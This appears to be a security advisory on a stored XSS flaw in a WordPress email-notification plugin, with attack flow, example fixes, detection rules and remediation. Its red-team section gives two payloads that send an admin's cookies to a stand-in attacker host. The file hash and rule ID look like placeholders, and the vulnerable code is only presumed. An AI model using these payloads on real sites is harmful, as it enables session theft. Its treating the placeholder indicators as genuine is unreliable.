CVE-2025-47622

Executive Summary

CVE-2025-47622 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin "Email Notification on Login" by Apasionados, affecting versions up to and including 1.7.0. This flaw allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript into the plugin's settings or notification templates. When an administrator or other user views the affected page, the malicious script executes in their browser context, potentially leading to session hijacking, credential theft, or defacement. The vulnerability has a CVSS score of 5.9 (Medium) and currently has no official patch available. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant for unpatched WordPress installations.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. The plugin is not available on NPM, PyPI, Go, or Ruby ecosystems. The supply chain risk is limited to the WordPress plugin update mechanism; however, since no patch exists, users must manually apply mitigations or remove the plugin.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Requires contributor-level access or higher.
• User Interaction (UI): Required (R) – Victim must view the malicious page.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the stored XSS nature can lead to privilege escalation and lateral movement within the WordPress admin panel.

Deep Dive & Mechanics

The vulnerability stems from improper neutralization of user-supplied input in the plugin's notification email template or settings fields. The plugin likely stores user input (e.g., email subject, body, or custom fields) in the WordPress database without sanitization or output encoding. When an administrator views the plugin's settings page or a notification preview, the stored input is rendered directly into the HTML without escaping, allowing arbitrary JavaScript execution.

Attack Flow:

1. An attacker with contributor-level access logs into WordPress.
2. The attacker navigates to the "Email Notification on Login" settings page.
3. The attacker injects a malicious payload into a text field (e.g., email body or subject), such as <script>alert('XSS')</script>.
4. The plugin stores the payload in the wp_options table or similar.
5. An administrator or other user visits the plugin's settings page.
6. The payload executes in the victim's browser, allowing the attacker to steal cookies, perform actions on behalf of the victim, or deface the page.

Vulnerable vs. Patched Code

Since no official patch exists, the vulnerable code is presumed to be in the plugin's output rendering functions. A typical vulnerable pattern in WordPress plugins is:

// Vulnerable code (example)
echo "<div class='notification'>" . $stored_input . "</div>";

A patched version would use WordPress's built-in escaping functions:

// Patched code (example)
echo "<div class='notification'>" . esc_html( $stored_input ) . "</div>";

The esc_html() function encodes HTML special characters, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress installation with "Email Notification on Login" plugin version <= 1.7.0.
• Contributor-level account credentials.

Exploitation Steps:

1. Log in to WordPress as a contributor.
2. Navigate to wp-admin/admin.php?page=email-notification-on-login-settings.
3. In the "Email Body" field, inject the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the settings.
5. Wait for an administrator to visit the settings page, or send a crafted link to the admin.
6. The admin's cookies are exfiltrated to the attacker's server.

Alternative Payload (Session Hijacking):

<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>

Blue Team

Detection Steps:

1. Monitor WordPress admin logs for unusual changes to plugin settings.
2. Look for suspicious entries in the wp_options table where option_name contains email_notification_on_login.
3. Use the YARA and Sigma rules below to scan for malicious payloads in database dumps or logs.

Mitigation (Temporary):

• Disable the plugin immediately.
• Remove the plugin entirely if not critical.
• Implement a Web Application Firewall (WAF) rule to block common XSS patterns in admin pages.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • email-notification-on-login.php (v1.7.0): a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2
• Database Entries:
  • wp_options table with option_name containing email_notification_on_login_*
• Network Indicators:
  • Outbound connections to unknown domains from WordPress admin IPs.
• Log Patterns:
  • POST /wp-admin/admin-ajax.php with action=email_notification_on_login_save and suspicious data parameter.

Detection Engineering

YARA Rule

rule CVE_2025_47622_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads targeting Email Notification on Login plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-47622"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/si
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/si
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/si
        $plugin = "email-notification-on-login"
    condition:
        any of ($xss*) and $plugin
}

Sigma Rule

title: Stored XSS in Email Notification on Login Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in WordPress admin settings for the Email Notification on Login plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url: /wp-admin/admin-ajax.php
        http.body|contains: action=email_notification_on_login_save
    keywords:
        - "<script>"
        - "onerror="
        - "onload="
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in email templates (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-47622 Stored XSS Payload Exfiltration"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=email_notification_on_login_save"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/si"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Navigate to wp-admin/plugins.php and deactivate "Email Notification on Login".
2. Remove the plugin – Delete the plugin entirely to prevent re-activation.
3. Audit user accounts – Review all contributor-level accounts for signs of compromise.

Long-Term Fix:

• Since no patch is available, consider replacing the plugin with an alternative that provides similar functionality (e.g., "Better Login Notification" or custom code).
• If the plugin is critical, manually patch the vulnerable code by adding esc_html() or wp_kses_post() to all output functions.

WAF Rules:

• Block POST requests to /wp-admin/admin-ajax.php containing action=email_notification_on_login_save with suspicious payloads.
• Implement a generic XSS filter for WordPress admin pages.

Valters IT
Securing Digital Frontiers